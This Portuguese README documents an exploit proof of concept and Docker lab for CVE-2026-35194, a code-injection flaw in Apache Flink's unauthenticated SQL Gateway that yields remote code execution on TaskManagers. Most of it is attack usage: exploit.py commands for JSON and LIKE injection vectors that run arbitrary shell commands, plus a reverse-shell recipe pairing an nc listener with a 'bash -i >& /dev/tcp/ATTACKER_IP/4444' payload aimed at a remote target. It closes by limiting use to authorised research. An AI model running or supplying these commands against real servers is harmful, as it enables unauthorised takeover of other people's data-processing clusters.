
Prova de conceito de exploit e laboratório Docker para CVE-2026-35194, uma injeção de código SQL no Apache Flink que permite execução remota de código em TaskManagers através da API REST do SQL Gateway.
Execução remota de código em TaskManagers do Apache Flink por meio de injeção de geração de código SQL.
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (Alta) |
| CWE | CWE-94 — Injeção de Código |
| Afetado | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| Corrigido | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| Superfície de Ataque | SQL Gateway REST API (porta padrão 8083, sem autenticação) |
docker compose up -d
Aguarde ~30s para o cluster iniciar. Dois serviços são iniciados:
http://localhost:8081http://localhost:8083Verifique:
curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"
pip install requests
Vetor JSON:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
Vetor LIKE:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
Apenas verificação de versão (sem RCE):
python3 exploit.py localhost -p 8083 --check-only
Verificar RCE no TaskManager:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
Apenas para pesquisa de segurança autorizada e fins educacionais.